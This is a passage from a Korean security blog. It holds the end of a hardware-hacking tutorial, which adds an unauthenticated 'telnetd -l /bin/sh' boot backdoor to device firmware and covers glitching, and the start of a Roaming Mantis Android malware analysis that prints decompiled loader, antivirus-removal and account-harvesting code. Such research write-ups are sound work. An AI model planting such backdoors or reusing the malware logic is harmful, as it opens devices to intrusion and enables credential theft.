class="o">=[</span>2489160] +</code></pre></div></div> + +<p>저희의 분석장비 펌웨어에서 사용하는 파일시스템은 SquashFS 파일시스템입니다. 따라서 squashfs-tools를 사용하여 분석을 진행하겠습니다.</p> + +<p><code class="language-plaintext highlighter-rouge">firmware.bin</code> 파일을 skip부터 count까지를 추출하여 <code class="language-plaintext highlighter-rouge">extract_squashfs</code>로 저장하였습니다.</p> + +<p>unsquashfs를 사용해서 파일시스템을 마운트합니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt <span class="nb">install </span>squashfs-tools +<span class="nv">$ </span><span class="nb">sudo </span>unsquashfs ./extract_squashfs +</code></pre></div></div> + +<p>위 과정을 통해 파일시스템의 <code class="language-plaintext highlighter-rouge">squashfs-root</code> 를 획득하였습니다!</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/dd_extract.jpg" alt="dd extraction" /></p> + +<p>여기서 기기가 부팅된 후 초기에 실행되는 코드를 조작해보겠습니다.</p> + +<p>기기가 부팅될 때 가장 처음 실행되는 코드를 찾아봅시다. 보통은 <code class="language-plaintext highlighter-rouge">/etc/init.d</code>에 위치한 <code class="language-plaintext highlighter-rouge">rcS</code>가 가장 먼저 실행됩니다. 저희 분석 장비에서는 <code class="language-plaintext highlighter-rouge">/default/rcS</code> 입니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/inittab.png" alt="inittab" /></p> + +<p>해당 파일의 제일 마지막줄에 원하는 명령어를 추가해볼겁니다.</p> + +<p><code class="language-plaintext highlighter-rouge">/bin</code> <code class="language-plaintext highlighter-rouge">/sbin</code> <code class="language-plaintext highlighter-rouge">/usr/bin</code> <code class="language-plaintext highlighter-rouge">/usr/sbin</code> 에서 사용 가능한 명령어들을 찾아봅시다. 제일 관심 있는 명령어는 <code class="language-plaintext highlighter-rouge">telnet</code>이나 <code class="language-plaintext highlighter-rouge">telnetd</code> 입니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/sbin.jpg" alt="sbin" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/telnetd.jpg" alt="telnetd" /></p> + +<p><code class="language-plaintext highlighter-rouge">/default/rcS</code> 마지막줄에 아래 명령어를 추가합니다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/sbin/telnetd -l /bin/sh +</code></pre></div></div> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/firmware_modify.jpg" alt="firmware modify" /></p> + +<p>이 명령어가 실행되면 부팅 후 telnet을 통해 <code class="language-plaintext highlighter-rouge">/bin/sh</code>에 접속할 수 있을 것입니다.</p> + +<p>이제 우리가 삽입한 코드를 원본 파일시스템에 패치합니다.</p> + +<ul> + <li>수정한 파일 시스템을 원본 파일시스템에 패치 + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>mksquashfs squashfs-root squashfs_patched <span class="nt">-comp</span> xz +</code></pre></div> </div> + <p><img src="/assets/2024-02-06-IoT-TechBlog/recompression.jpg" alt="recompression" /></p> + </li> +</ul> + +<p>hex editor를 사용해 펌웨어의 파일시스템 영역을 조작한 파일 시스템으로 바꾸겠습니다. 파일시스템이 조작된 펌웨어를 <code class="language-plaintext highlighter-rouge">firmware_patched.bin</code> 으로 저장합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/010hexedit.jpg" alt="010 hexeditor" /></p> + +<p>조작한 펌웨어인 <code class="language-plaintext highlighter-rouge">firmware_patched.bin</code>을 기기의 SPI Flash 칩에 다시 써주면 완성입니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>flashrom <span class="nt">-p</span> linux_spi:dev<span class="o">=</span>/dev/spidev0.0 <span class="nt">-w</span> firmware_patched.bin +</code></pre></div></div> + +<h1 id="5-soldering">5. Soldering</h1> + +<p>앞서 SPI Flash 칩을 디솔더링하여 분리하였다면 부팅을 위해 다시 기기의 PCB 기판에 연결해야합니다.</p> + +<table> + <thead> + <tr> + <th>장비</th> + <th>역할</th> + </tr> + </thead> + <tbody> + <tr> + <td>솔더 페이스트</td> + <td>Flux를 포함하고 있어 납의 칙소성을 높여준다.</td> + </tr> + <tr> + <td>인두기</td> + <td>납을 데워서 녹인다.</td> + </tr> + <tr> + <td>납실</td> + <td>PCB와 Flash memory를 결합하여 고정한다.</td> + </tr> + <tr> + <td>면봉</td> + <td>납땜 후 잔여물을 닦아내는 데 사용한다.</td> + </tr> + </tbody> +</table> + +<p>솔더 페이스트를 PCB 기판 위에 바르고 그 위에 인두기로 납을 녹여서 문지르면 납이 동그랗고 예쁘게 올라갑니다. SPI Flash 칩을 원위치에 올리고, 열풍기로 납을 살짝 녹여 리솔더링을 해줍니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/solderpaste.jpg" alt="solder paste" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/resoldering.jpg" alt="resoldering" /></p> + +<h1 id="6-glitching">6. Glitching</h1> + +<p>Fault Injection이라고도 하는 글리칭은 제조 시의 한계를 벗어나는 조건으로 공격 대상 장치에서 고장을 유발합니다. 이를 통해 인증 우회, 미인가된 코드 접근, 로직 값 변경, 장치의 종료 또는 재시작 등의 결과를 이끌어냅니다. 글리칭 공격 방법에는 여러 가지가 있는데, 전압 글리칭, 클록 글리킹, 전자기 폴트 인젝션, 광학 폴트 인젝션이 그 예시입니다.</p> + +<p>이 중 별도의 장비 없이 수-수 점퍼케이블로 해볼 수 있는 Serial Data Output Fault Injection을 수행해보겠습니다. 이 방법은 MCU가 펌웨어를 얻지 못하는 오류를 유발하는 공격입니다. 부팅 중 MCU가 펌웨어를 얻지 못했을 때의 결과가 제조사마다 다르고, 정교한 오류상태를 주입하는 것이 아니기 때문에 성공률이 높지 않은 편입니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching_point.jpg" alt="SPI Flash chip glitching point" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/spi_flashchip_glitching.jpg" alt="SPI Flash chip glitching" /></p> + +<p>우선, 데이터시트를 참고하여 SPI Flash 칩의 Serial Data Output 핀과 GND 핀의 위치를 알아냅니다. 그리고 SPI Flash 칩의 Data Output 핀과 GND 핀을 수-수 점퍼 케이블로 연결합니다. MCU가 SPI Flash로 펌웨어를 요청했을 때의 output 데이터가 MCU가 아닌 GND 핀으로 빠지고, 결과적으로 MCU가 펌웨어를 제대로 얻지 못하게 됩니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/bootloader_shell.png" alt="bootloader shell" /></p> + +<p>UART를 연결한 상태에서 Serial Data Output Faul Injection 공격을 수행하였고, 부팅이 정상적으로 이루어지지 않은 결과로 부트 로더의 쉘에 접근이 가능해졌습니다.</p> + +<p>부트 로더의 Memory Reading을 통해 펌웨어를 추출할 수 있습니다.</p> + +<h1 id="7-마치며">7. 마치며</h1> + +<p>본 과정을 거쳐 기기의 원본 펌웨어를 얻을 수 있었고, 원격으로 쉘 접속이 가능해졌습니다. 따라서 취약점을 디버깅하기에 수월한 환경 구성이 끝나게 되었습니다.</p> + +<p>본 글 작성을 도와주신 김도현 팀장님과 임원빈 선임연구원님, 구본근 선임연구원님을 비롯한 선제대응팀 팀원분들께 감사드립니다.</p> + +<p>모두 즐거운 하드웨어 해킹하세요!👽</p> + +<hr /> + +<p>[각주]</p> + +<div class="footnotes" role="doc-endnotes"> + <ol> + <li id="fn:1" role="doc-endnote"> + <p>Printed Curcit Board, 인쇄회로조립체 <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + <li id="fn:2" role="doc-endnote"> + <p>일반적으로 검은색 선은 (-), 빨간색 선은 (+)이다. 따라서 검은색 리드선을 GND에 연결한다. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + <li id="fn:3" role="doc-endnote"> + <p>symbol, 의미있는 데이터 묶음 <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + <li id="fn:4" role="doc-endnote"> + <p><a href="https://github.com/flashrom/flashrom">flashrom 빌드 방법</a></p> + + <p>칩에 접근하는 모든 작업에 <code class="language-plaintext highlighter-rouge">-p</code> 또는 <code class="language-plaintext highlighter-rouge">--programmer</code> 옵션을 사용해야 한다.</p> + + <p><code class="language-plaintext highlighter-rouge">-p &lt;programmername&gt;[:&lt;parameters&gt;]</code></p> + + <ul> + <li><code class="language-plaintext highlighter-rouge">linux_spi</code> (for SPI flash ROMs accessible via /dev/spidevX.Y on Linux)</li> + </ul> + + <p><code class="language-plaintext highlighter-rouge">-r</code>, <code class="language-plaintext highlighter-rouge">--read &lt;file&gt;</code></p> + + <p><code class="language-plaintext highlighter-rouge">-w</code>, <code class="language-plaintext highlighter-rouge">--write &lt;file&gt;</code></p> + + <p><code class="language-plaintext highlighter-rouge">-c</code>, <code class="language-plaintext highlighter-rouge">-chip &lt;chipname&gt;</code> <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p> + </li> + </ol> +</div>이주협, 이주영뉴비들의 하드웨어 해킹 입문기Android Malware : 사마귀 해부학2023-11-15T10:00:00+09:002023-11-15T10:00:00+09:00http://ufo.stealien.com/2023-11-15/Android-malware-%EC%82%AC%EB%A7%88%EA%B7%80-%ED%95%B4%EB%B6%80%ED%95%99-ko<h1 id="android-malware--사마귀-해부학">Android Malware : 사마귀 해부학</h1> + +<p><br /></p> + +<p><strong>목차</strong><br /> +—————————————</p> +<ol> + <li><strong>Intro</strong></li> + <li><strong>Roaming Mantis?</strong></li> + <li><strong>Analysis</strong> + <ol> + <li><strong>Download &amp; Install</strong></li> + <li><strong>Dynamic Dex Loading</strong></li> + <li><strong>Behavior Analysis</strong></li> + </ol> + </li> + <li><strong>Outro</strong></li> +</ol> + +<p><br /></p> + +<h1 id="1-intro">1. Intro</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/19.png" alt="19.png" /></p> + +<p>이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.</p> + +<p>이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.</p> + +<hr /> + +<h1 id="2-roaming-mantis">2. Roaming Mantis?</h1> + +<p>분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/0.png" alt="0.png" /></p> + +<p>Android Malware인 <strong>Roaming Mantis</strong>였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 <strong>취약한 공용 라우터를 장악하여 DNS 서버를 변조</strong>(<strong>DNS Hijacking</strong>)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.</p> + +<p>가령, <code class="language-plaintext highlighter-rouge">google.com</code>으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.</p> + +<p>이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.</p> + +<p>또한 <strong>Wroba계열의 Mobile banking Trojan</strong>을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.</p> + +<p>출처 : <a href="https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers">https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers</a></p> + +<hr /> + +<h1 id="3-analysis">3. Analysis</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/2.png" alt="2.png" /></p> + +<p>분석 Flow Chart입니다.</p> + +<p>각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.</p> + +<h2 id="1-download--install">1) Download &amp; Install</h2> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/3.png" alt="3.png" /></p> + +<p>문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.</p> + +<p>Download를 진행하면 <code class="language-plaintext highlighter-rouge">chrome.apk</code> 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/4.png" alt="4.png" /></p> + +<p>frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.</p> + +<p>이 중 <code class="language-plaintext highlighter-rouge">rbj.xnmp.gjga.ucms</code>가 악성 앱, <code class="language-plaintext highlighter-rouge">com.android.chrome</code>이 진짜 chrome입니다.</p> + +<h2 id="2-dynamic-dex-loading">2) Dynamic DEX Loading</h2> + +<p>Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.</p> + +<p>주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/5.png" alt="5.png" /></p> + +<p><br /></p> + +<p>① <strong>Encrypted DEX Loading</strong></p> + +<p>가장 먼저 실행되는 것은 <code class="language-plaintext highlighter-rouge">ImApplication.c("rrkf")</code> 로, <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 <code class="language-plaintext highlighter-rouge">wo.pi</code> method를 호출합니다.</p> + +<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// str = "rrkf"</span> +<span class="kr">private</span> <span class="k">void</span> <span class="nx">c</span><span class="p">(</span><span class="nb">String</span> <span class="nx">str</span><span class="p">)</span> <span class="p">{</span> + <span class="nx">b</span><span class="p">(</span><span class="nx">str</span><span class="p">,</span> <span class="nx">wo</span><span class="p">.</span><span class="nx">pi</span><span class="p">(</span><span class="k">this</span><span class="p">,</span> <span class="nx">str</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="dl">""</span><span class="p">));</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 함수는 <code class="language-plaintext highlighter-rouge">rrkf</code>를 인자로 받아, <code class="language-plaintext highlighter-rouge">rrkf/lqcttjs</code> 경로를 완성합니다.</p> + +<p>완성한 경로를 <code class="language-plaintext highlighter-rouge">getAssets()</code> 함수의 인자로 사용하여, <code class="language-plaintext highlighter-rouge">assets</code> 폴더 하위의 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 파일 내용을 가져옵니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = rrkf/1qcttjs</span> +<span class="c1">// v10 = getAssets()</span> +<span class="c1">// v13 = open(Ljava/lang/String;)</span> +<span class="n">v19</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="n">v13</span><span class="o">);</span> +</code></pre></div></div> + +<p>실제로 <code class="language-plaintext highlighter-rouge">assets</code> Directory 에는 아래와 같이 <code class="language-plaintext highlighter-rouge">rrkf/1qcttjs</code> 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/6.png" alt="6.png" /></p> + +<p><br /></p> + +<p>② <strong>Decrypt DEX</strong></p> + +<p>따라서 <code class="language-plaintext highlighter-rouge">Java_n_wo_pi()</code> 내부에는 가져온 <code class="language-plaintext highlighter-rouge">1qcttjs</code> 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 <code class="language-plaintext highlighter-rouge">wo.pi</code> 는 Dectyped DEX 내용을 return 합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span> <span class="o">(</span> <span class="mi">1</span> <span class="o">)</span> +<span class="o">{</span> + <span class="n">v49</span> <span class="o">=</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallIntMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v21</span><span class="o">,</span> <span class="n">v48</span><span class="o">);</span> <span class="c1">// 1. 암호화된 파일 내용 read</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v49</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span> <span class="o">)</span> <span class="c1">// 3. 복호화가 끝났을경우</span> + <span class="o">{</span> + <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallVoidMethod</span><span class="o">(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v61</span><span class="o">,</span> <span class="n">v59</span><span class="o">);</span> <span class="c1">// close(), 4. 읽기 종료</span> + <span class="o">...</span> + <span class="k">if</span> <span class="o">(</span> <span class="n">v64</span> <span class="o">)</span> + <span class="o">{</span> + <span class="n">v65</span> <span class="o">=</span> <span class="n">v64</span><span class="o">;</span> <span class="c1">// 5. 복호화 된 내용 저장</span> + <span class="n">operator</span> <span class="nf">delete</span><span class="o">(</span><span class="n">v64</span><span class="o">);</span> + <span class="o">}</span> + <span class="k">return</span><span class="o">;</span> + <span class="o">}</span> + <span class="n">v50</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v24</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))(</span><span class="n">v24</span><span class="o">,</span> <span class="n">v48</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// 2. 복호화 진행 (1로 다시 이동)</span> + <span class="o">...</span> +<span class="o">}</span> +</code></pre></div></div> + +<p><br /></p> + +<p><strong>③ Save Dynamic DEX</strong></p> + +<p>복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 <code class="language-plaintext highlighter-rouge">ImApplication.e()</code> method에서 확인할 수 있습니다. <code class="language-plaintext highlighter-rouge">e</code>는 <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 와 복호화된 파일 내용을 인자로 받아, <code class="language-plaintext highlighter-rouge">wo.or</code> 을 호출합니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="nc">Object</span> <span class="nf">e</span><span class="o">(</span><span class="nc">String</span> <span class="n">str</span><span class="o">,</span> <span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"</span> + <span class="c1">//obj = 복호화한 dex파일</span> + <span class="k">return</span> <span class="n">wo</span><span class="o">.</span><span class="na">or</span><span class="o">(</span><span class="n">str</span><span class="o">,</span> <span class="n">obj</span><span class="o">,</span> <span class="mi">0</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">Java_n_wo_or()</code> 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">v7</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(**)(</span><span class="kt">void</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">a1</span> <span class="o">+</span> <span class="mi">1472L</span><span class="no">L</span><span class="o">))();</span> <span class="c1">// 복호화 DEX Byte array</span> +<span class="n">v8</span> <span class="o">=</span> <span class="o">(*(</span><span class="n">__int64</span> <span class="o">(</span><span class="n">__fastcall</span> <span class="o">**)(</span><span class="n">__int64</span><span class="o">,</span> <span class="n">__int64</span><span class="o">,</span> <span class="n">_QWORD</span><span class="o">))(*(</span><span class="n">_QWORD</span> <span class="o">*)</span><span class="n">v6</span> <span class="o">+</span> <span class="mi">1352L</span><span class="no">L</span><span class="o">))(</span><span class="n">v6</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="mi">0L</span><span class="no">L</span><span class="o">);</span> <span class="c1">// /data/user/0/rbj.xnpm.gjga.ucms/files/b</span> +<span class="o">...</span> +<span class="n">fwrite</span><span class="o">(</span><span class="n">v7</span><span class="o">,</span> <span class="n">v10</span><span class="o">,</span> <span class="mi">1L</span><span class="no">L</span><span class="o">,</span> <span class="n">v9</span><span class="o">);</span> <span class="c1">// 해당 경로에 DEX파일 내용 작성</span> +</code></pre></div></div> + +<p><strong>따라서 복호화된 DEX 파일은, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 경로에 저장되게 됩니다.</strong></p> + +<p><br /></p> + +<p><strong>④ Load Class</strong></p> + +<p><code class="language-plaintext highlighter-rouge">ImApplication</code> 에서 가장 마지막에 실행되는 <code class="language-plaintext highlighter-rouge">a</code> method입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kt">void</span> <span class="nf">a</span><span class="o">(</span><span class="nc">Object</span> <span class="n">obj</span><span class="o">)</span> <span class="o">{</span> + <span class="c1">// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)</span> + <span class="c1">// wo.ls(1) = com.Loader</span> + <span class="nc">Class</span> <span class="n">cls</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Class</span><span class="o">)</span> <span class="n">wo</span><span class="o">.</span><span class="na">kw</span><span class="o">(</span><span class="n">wo</span><span class="o">.</span><span class="na">ls</span><span class="o">(</span><span class="mi">1</span><span class="o">),</span> <span class="n">obj</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">0L</span><span class="o">,</span> <span class="s">""</span><span class="o">,</span> <span class="kc">true</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">1</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">b</span> <span class="o">=</span> <span class="n">cls</span><span class="o">;</span> + <span class="c1">// wo.iz = 인자를 create() 함</span> + <span class="n">a</span> <span class="o">=</span> <span class="n">wo</span><span class="o">.</span><span class="na">iz</span><span class="o">(</span><span class="n">cls</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">wo.iz</code> 는 인자를 create() 하므로, 인자로 들어가는 <code class="language-plaintext highlighter-rouge">cls</code> 즉, <code class="language-plaintext highlighter-rouge">wo.kw</code> 의 내용을 보아야 합니다. <code class="language-plaintext highlighter-rouge">wo.kw</code> 는 아래의 코드로 동작을 요약할 수 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// v7 = loadClass(com.Loader)</span> +<span class="k">return</span> <span class="nl">_JNIEnv:</span><span class="o">:</span><span class="nc">CallObjectMethod</span><span class="o">(</span><span class="n">v5</span><span class="o">,</span> <span class="n">v4</span><span class="o">,</span> <span class="n">v7</span><span class="o">);</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">locaClass()</code> method에 인자로 들어간 <code class="language-plaintext highlighter-rouge">com.Loader</code> Class를 호출합니다. 이렇게 <code class="language-plaintext highlighter-rouge">b</code> 파일의 <code class="language-plaintext highlighter-rouge">com.Loaser</code> class를 인자로 받은 <code class="language-plaintext highlighter-rouge">wo.iz</code> 는 이를 <code class="language-plaintext highlighter-rouge">create()</code> 하며 Dynamic DEX Loading은 끝이 납니다.</p> + +<p><strong>그럼 이제 앱을 실행한 후, <code class="language-plaintext highlighter-rouge">/data/user/0/rbj.xnpm.gjga.ucms/files/b</code> 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.</strong></p> + +<h2 id="3-behavior-analysis">3) Behavior Analysis</h2> + +<p>이전 단계에서 획득한 <code class="language-plaintext highlighter-rouge">b</code> 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.</p> + +<p>모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.</p> + +<p><strong>이 중 Roaming Mantis의 핵심 동작은 ⑤ 공유기 장악(DNS Hijacking) 부분을 보시면 되겠습니다.</strong></p> + +<p><strong>① A사 백신 삭제</strong></p> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p><strong>③ Phishing 창 생성 #1</strong></p> + +<p><strong>④ Phishing 창 생성 #2</strong></p> + +<p><strong>⑤ 공유기 장악 (DNS Hijacking)</strong></p> + +<p><strong>⑥ C2 서버 - 공격자 서버 정보 파싱</strong></p> + +<p><strong>⑦ SMS 관련 동작</strong></p> + +<p><strong>⑧ 기타 동작</strong></p> + +<hr /> + +<p><strong>① A사 백신 삭제</strong></p> + +<p>대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.</p> + +<p>while문을 사용하여 설치된 Package명 중, 백신의 Package명(<code class="language-plaintext highlighter-rouge">com.a**lab.v*</code>)과 같은 게 있을 경우 삭제하도록 하고 있습니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while</span><span class="o">(!</span><span class="n">d</span><span class="o">.</span><span class="na">n</span><span class="o">.</span><span class="na">l</span><span class="o">.</span><span class="na">g</span><span class="o">(((</span><span class="nc">String</span><span class="o">)</span><span class="n">v1</span><span class="o">),</span> <span class="s">"com.a**lab.v3"</span><span class="o">,</span> <span class="kc">false</span><span class="o">,</span> <span class="mi">2</span><span class="o">,</span> <span class="kc">null</span><span class="o">));</span> + <span class="n">v2</span> <span class="o">=</span> <span class="n">v1</span><span class="o">;</span> <span class="c1">// 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장</span> +<span class="nl">label_14:</span> + <span class="nc">String</span> <span class="n">v2_1</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">v2</span><span class="o">;</span> + <span class="k">if</span><span class="o">(</span><span class="n">v2_1</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// 2. 존재한다면, DELETE하는 Activity 실행</span> + <span class="nc">Intent</span> <span class="n">v0_1</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setAction</span><span class="o">(</span><span class="s">"android.intent.action.DELETE"</span><span class="o">);</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"package:"</span> <span class="o">+</span> <span class="n">v2_1</span><span class="o">));</span> + <span class="n">v0_1</span><span class="o">.</span><span class="na">addFlags</span><span class="o">(</span><span class="mh">0x10000000</span><span class="o">);</span> + <span class="n">arg8</span><span class="o">.</span><span class="na">startActivity</span><span class="o">(</span><span class="n">v0_1</span><span class="o">);</span> <span class="c1">// 안랩을 삭제하는 activity를 넣음</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>실행된 Activity는 아래와 같이 보입니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/7.png" alt="7.png" /></p> + +<hr /> + +<p><strong>② 국내 앱 계정 정보 수집</strong></p> + +<p>아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. 기기에서 관리중인 계정 정보 수집</span> +<span class="nc">Account</span><span class="o">[]</span> <span class="n">v0_4</span> <span class="o">=</span> <span class="o">((</span><span class="nc">AccountManager</span><span class="o">)</span><span class="n">v0_3</span><span class="o">).</span><span class="na">getAccounts</span><span class="o">();</span> + +<span class="c1">// 2. 계정과 종류를 수집</span> +<span class="n">v10_1</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">name</span> <span class="o">+</span> <span class="s">":"</span> <span class="o">+</span> <span class="n">v0_4</span><span class="o">[</span><span class="n">v12</span><span class="o">].</span><span class="na">type</span><span class="o">);</span> +</code></pre></div></div> + +<p>수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.</p> + +<p><img 